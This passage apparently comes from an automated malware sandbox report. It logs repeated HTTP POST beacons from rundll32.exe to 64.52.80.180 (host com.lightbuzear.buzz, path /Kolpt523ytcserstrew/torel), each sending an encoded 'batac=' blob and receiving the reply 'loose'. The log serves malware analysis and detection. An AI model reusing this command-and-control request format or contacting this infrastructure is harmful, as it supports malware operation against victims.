2022-08-14 06:40:30 UTC	99	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:30 UTC	100	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:30 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:30 UTC	100	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49178	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:32 UTC	11	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:32 UTC	11	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:32 UTC	13	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:32 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:32 UTC	13	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.22	49232	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:31 UTC	100	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:31 UTC	100	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:31 UTC	101	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:31 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:31 UTC	102	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.22	49233	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:32 UTC	102	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:32 UTC	102	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:32 UTC	103	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:32 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:32 UTC	103	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.22	49234	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:33 UTC	103	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:33 UTC	104	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:34 UTC	105	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:33 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:34 UTC	105	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.22	49235	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:34 UTC	105	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:34 UTC	105	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:35 UTC	106	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:34 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:35 UTC	107	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.22	49236	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:35 UTC	107	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:35 UTC	107	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:36 UTC	108	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:36 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:36 UTC	108	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.22	49237	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:36 UTC	108	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:36 UTC	109	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:37 UTC	110	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:37 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:37 UTC	110	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.22	49238	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:37 UTC	110	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:37 UTC	110	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:38 UTC	111	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:38 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:38 UTC	112	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.22	49239	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:38 UTC	112	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:38 UTC	112	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:39 UTC	113	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:39 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:39 UTC	113	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.22	49240	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:40 UTC	113	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:40 UTC	114	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:40 UTC	115	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:40 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:40 UTC	115	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.22	49241	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:41 UTC	115	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
